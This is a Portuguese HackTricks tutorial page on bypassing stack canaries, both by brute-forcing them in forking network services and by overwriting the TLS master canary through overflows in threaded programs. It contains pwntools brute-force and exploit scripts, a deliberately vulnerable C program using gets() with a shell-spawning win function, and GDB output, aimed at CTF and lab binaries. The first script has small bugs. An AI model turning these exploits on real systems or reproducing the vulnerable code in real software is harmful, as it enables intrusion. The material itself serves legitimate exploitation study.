hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

# BF Forked & Threaded Stack Canaries

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras maneiras de apoiar o HackTricks:

* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

</details>

**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.**

![](<../../../../.gitbook/assets/image (144).png>)

{% hint style="info" %}
Observe que o **`checksec`** pode não encontrar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\
No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
{% endhint %}

## Brute force no Canary

A melhor maneira de contornar um canário simples é se o binário for um programa **criando processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.

Então, a melhor maneira de contornar o canário é apenas **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outras situações** poderia ser usando um **try/except**):

### Exemplo 1

Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.
```python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Exemplo 2

Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\
Também observe que, para este exemplo, o **programa espera primeiro um byte para indicar o tamanho da entrada** e a carga útil.
```python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads

As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar** um canary se o binário gerar uma nova thread toda vez que um ataque acontecer.&#x20;

Um estouro de buffer em uma função com threads protegida com canary pode ser usada para modificar o canary principal do processo. Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).

### Exemplo

O programa a seguir é vulnerável a Buffer Overflow, mas está compilado com canary:
```c
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

// gcc thread_canary.c -no-pie -l pthread -o thread_canary

void win() {
execve("/bin/sh", NULL, NULL);
}

void* vuln() {
char data[0x20];
gets(data);
}

int main() {
pthread_t thread;

pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);

return 0;
}
```
Observe que `vuln` é chamado dentro de uma thread. No GDB, podemos dar uma olhada em `vuln`, especificamente, no ponto em que o programa chama `gets` para ler os dados de entrada:
```bash
gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640
```
O acima representa o endereço de `data`, onde o programa escreverá a entrada do usuário. O canário da pilha é encontrado em `0x7ffff7d7ee48` (`0x493fdc653a156800`), e o endereço de retorno está em `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
```bash
gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]
```
Observe que os endereços da pilha não pertencem à pilha real:
```bash
gef> vmmap stack
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
```
O stack da thread é colocado acima do Armazenamento Local da Thread (TLS), onde o canário mestre é armazenado:
```bash
gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...
```
{% hint style="info" %}
Algumas das funções GDB acima são definidas em uma extensão chamada [bata24/gef](https://github.com/bata24/gef), que possui mais recursos do que o [hugsy/gef](https://github.com/hugsy/gef) comum.
{% endhint %}

Como resultado, um grande Buffer Overflow pode permitir modificar tanto o stack canary quanto o master canary no TLS. Este é o deslocamento:
```bash
gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848
```
Este é um exploit curto para chamar `win`:
```python
from pwn import *

context.binary = 'thread_canary'

payload  = b'A' * 0x28                    # buffer overflow offset
payload += b'BBBBBBBB'                    # overwritting stack canary
payload += b'A' * 8                       # saved $rbp
payload += p64(context.binary.sym.win)    # return address
payload += b'A' * (0x848 - len(payload))  # padding
payload += b'BBBBBBBB'                    # overwritting master canary

io = context.binary.process()
io.sendline(payload)
io.interactive()
```
## Outros exemplos e referências

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sem PIE, nx, BF canary, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* 64 bits, sem PIE, nx, modificar thread e master canary.